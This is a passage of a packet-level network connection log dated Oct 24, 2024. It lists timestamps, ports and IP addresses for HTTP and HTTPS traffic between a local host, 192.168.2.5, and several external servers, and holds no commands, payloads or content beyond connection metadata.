Oct 24, 2024 08:38:14.407876015 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.407885075 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.407885075 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.407887936 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.407900095 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.407927990 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.408324003 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.417007923 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417053938 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417107105 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417146921 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.417187929 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417200089 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417202950 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.417211056 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417223930 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417236090 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417247057 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417258978 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417273045 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.417292118 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417330980 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.417387962 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417401075 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417401075 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.417412043 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417423964 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417435884 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417444944 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.417455912 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417469978 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417480946 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417484999 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.417524099 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.417578936 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417591095 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417597055 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.417603970 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417634964 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.417634964 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.417639017 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417650938 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417689085 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417695999 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.417695999 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.417730093 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417737007 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.417743921 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417785883 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.417785883 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.417798996 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417812109 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417856932 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.417856932 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.417891979 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417905092 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417917967 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417936087 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.417937994 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417951107 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417957067 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.417963982 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417975903 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.417983055 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.417989016 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.418035030 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.418035030 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.418057919 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.418097019 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.418126106 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.418138027 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.418190956 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.418201923 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.418214083 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.418241024 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.418241024 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.418278933 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.418340921 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.418353081 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.418375969 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.418387890 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.418400049 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.418400049 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.418411970 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.418433905 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.418440104 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.418440104 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.418445110 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.418452024 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.418462992 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.418469906 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.418488979 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.418488979 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.418524027 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:16.682284117 CEST	60978	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:16.682774067 CEST	61008	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:16.687974930 CEST	80	60978	185.215.113.43	192.168.2.5
Oct 24, 2024 08:38:16.688046932 CEST	60978	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:16.688168049 CEST	80	61008	185.215.113.43	192.168.2.5
Oct 24, 2024 08:38:16.688232899 CEST	61008	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:16.688710928 CEST	61008	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:16.694108009 CEST	80	61008	185.215.113.43	192.168.2.5
Oct 24, 2024 08:38:17.055226088 CEST	61009	443	192.168.2.5	104.102.49.254
Oct 24, 2024 08:38:17.055272102 CEST	443	61009	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:17.055329084 CEST	61009	443	192.168.2.5	104.102.49.254
Oct 24, 2024 08:38:17.056746006 CEST	61009	443	192.168.2.5	104.102.49.254
Oct 24, 2024 08:38:17.056756020 CEST	443	61009	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:17.608917952 CEST	80	61008	185.215.113.43	192.168.2.5
Oct 24, 2024 08:38:17.609088898 CEST	61008	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:17.612931013 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:17.613253117 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:17.618571997 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:17.618611097 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:17.618628979 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:17.618680954 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:17.618911028 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:17.624471903 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:17.917408943 CEST	443	61009	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:17.917469978 CEST	61009	443	192.168.2.5	104.102.49.254
Oct 24, 2024 08:38:17.919265985 CEST	61009	443	192.168.2.5	104.102.49.254
Oct 24, 2024 08:38:17.919271946 CEST	443	61009	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:17.919528008 CEST	443	61009	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:17.967612028 CEST	61009	443	192.168.2.5	104.102.49.254
Oct 24, 2024 08:38:18.015368938 CEST	443	61009	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:18.527524948 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.527605057 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.527616024 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.527666092 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.527678013 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.527697086 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.527714014 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.527725935 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.527736902 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.527750015 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.528342962 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:18.528342962 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:18.528342962 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:18.533735991 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.533757925 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.533767939 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.533881903 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:18.545116901 CEST	443	61009	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:18.545139074 CEST	443	61009	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:18.545169115 CEST	443	61009	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:18.545181990 CEST	443	61009	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:18.545209885 CEST	443	61009	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:18.545239925 CEST	61009	443	192.168.2.5	104.102.49.254
Oct 24, 2024 08:38:18.545254946 CEST	443	61009	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:18.545293093 CEST	61009	443	192.168.2.5	104.102.49.254
Oct 24, 2024 08:38:18.545309067 CEST	61009	443	192.168.2.5	104.102.49.254
Oct 24, 2024 08:38:18.844310999 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.844332933 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.844360113 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.844372988 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.844388008 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.844403028 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.844415903 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.844422102 CEST	443	61009	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:18.844430923 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.844438076 CEST	443	61009	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:18.844460011 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.844475985 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.844479084 CEST	443	61009	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:18.844491005 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.844505072 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.844521046 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.844537020 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.844552994 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.844597101 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:18.844604969 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.844733000 CEST	61009	443	192.168.2.5	104.102.49.254
Oct 24, 2024 08:38:18.844747066 CEST	443	61009	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:18.844799995 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.844814062 CEST	61009	443	192.168.2.5	104.102.49.254
Oct 24, 2024 08:38:18.844816923 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.844830036 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.844846010 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.844861031 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.844887018 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.844902039 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.844906092 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:18.844906092 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:18.844906092 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:18.844906092 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:18.844918966 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.844964981 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:18.844965935 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:18.846716881 CEST	61009	443	192.168.2.5	104.102.49.254
Oct 24, 2024 08:38:18.846720934 CEST	443	61009	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:18.846734047 CEST	61009	443	192.168.2.5	104.102.49.254
Oct 24, 2024 08:38:18.846738100 CEST	443	61009	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:18.850383043 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.850433111 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.850449085 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.850466013 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.850512028 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:18.850543022 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.850634098 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:18.850634098 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:18.850826979 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.851365089 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:18.863904953 CEST	61011	443	192.168.2.5	104.21.53.8
Oct 24, 2024 08:38:18.863936901 CEST	443	61011	104.21.53.8	192.168.2.5
Oct 24, 2024 08:38:18.864012003 CEST	61011	443	192.168.2.5	104.21.53.8
Oct 24, 2024 08:38:18.864300966 CEST	61011	443	192.168.2.5	104.21.53.8
Oct 24, 2024 08:38:18.864320993 CEST	443	61011	104.21.53.8	192.168.2.5
Oct 24, 2024 08:38:18.920145988 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.920202971 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.920238018 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.920273066 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.920305014 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:18.920308113 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.920351028 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:18.920361996 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:18.920615911 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.920638084 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.920653105 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.920876980 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:18.920876980 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:18.920969963 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.920985937 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.921000957 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.921037912 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:18.921329021 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:18.960741997 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.960758924 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.960774899 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.960788965 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:18.960848093 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:18.960943937 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.038028002 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.038047075 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.038064957 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.038081884 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.038098097 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.038134098 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.038162947 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.038191080 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.038245916 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.038641930 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.038659096 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.038676023 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.038691998 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.038707018 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.038748026 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.038748026 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.078355074 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.078501940 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.078516960 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.078547955 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.078574896 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.078588009 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.078627110 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.078635931 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.078656912 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.078687906 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.078766108 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.154567003 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.154584885 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.154603004 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.154618979 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.154635906 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.154659986 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.154659986 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.154757977 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.154783964 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.154829025 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.154844999 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.154860973 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.154911995 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.154911995 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.194916010 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.194932938 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.194948912 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.195014954 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.195082903 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.195099115 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.195115089 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.195142031 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.195142031 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.195142031 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.195203066 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.240211964 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.240231037 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.240245104 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.240324974 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.240371943 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.271502018 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.271533966 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.271549940 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.271564960 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.271589994 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.271770954 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.271770954 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.271994114 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.272007942 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.272023916 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.272042990 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.272042990 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.272067070 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.272404909 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.272586107 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.272602081 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.272629023 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.312129021 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.312161922 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.312222004 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.312237978 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.312254906 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.312274933 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.312274933 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.312274933 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.312274933 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.312309027 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.357145071 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.357162952 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.357178926 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.357470036 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.357470036 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.388772011 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.388799906 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.388818026 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.388832092 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.388849974 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.388881922 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.388881922 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.388938904 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.389168024 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.389213085 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.389230013 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.389386892 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.389386892 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.389386892 CEST	61010	80	192.168.2.5	185.215.113.16
